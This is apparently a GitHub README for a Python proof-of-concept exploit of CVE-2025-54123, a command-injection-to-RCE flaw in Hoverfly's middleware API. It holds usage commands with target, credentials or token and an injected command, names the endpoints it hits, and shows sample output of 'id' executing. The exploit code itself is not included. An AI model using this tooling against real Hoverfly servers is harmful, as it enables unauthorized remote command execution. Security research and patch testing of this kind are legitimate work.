0xk4rth1/cve-2025-54123Python proof-of-concept for CVE-2025-54123, demonstrating command injection to RCE in Hoverfly middleware API with credential or token-based authentication.
This repository contains a Python proof-of-concept (PoC) script for interacting with Hoverfly instances affected by CVE-2025-54123.
The script supports:
Warning
This project is intended solely for authorized security research, testing, and educational purposes. Do not use it against systems without explicit permission.
Install dependencies:
pip install requests
python CVE-2025-54123.py \
--target example.com \
--port 8888 \
-u admin \
-p password \
--cmd "id"
python CVE-2025-54123.py \
--target example.com \
--port 8888 \
--token <ACCESS_TOKEN> \
--cmd "id"
| Argument | Description |
|---|---|
--target | Target domain or IP address |
--port | Target service port |
-u | Hoverfly username |
-p | Hoverfly password |
--token | Existing bearer token |
--cmd | Command string supplied to the middleware endpoint |
When credentials are supplied:
/api/token-auth
The script communicates with:
/api/v2/hoverfly/middleware
using an authenticated PUT request.
Approaching target : example.com
Attempting login to http://example.com:8888/api/token-auth
Checking Credentials....
Login Successful!
Injected : id
uid=1000(user) gid=1000(user)
.
├── CVE-2025-54123.py
└── README.md
This repository is provided for educational, defensive security, and authorized testing purposes only. The author assumes no responsibility for misuse, damage, or legal consequences arising from the use of this software.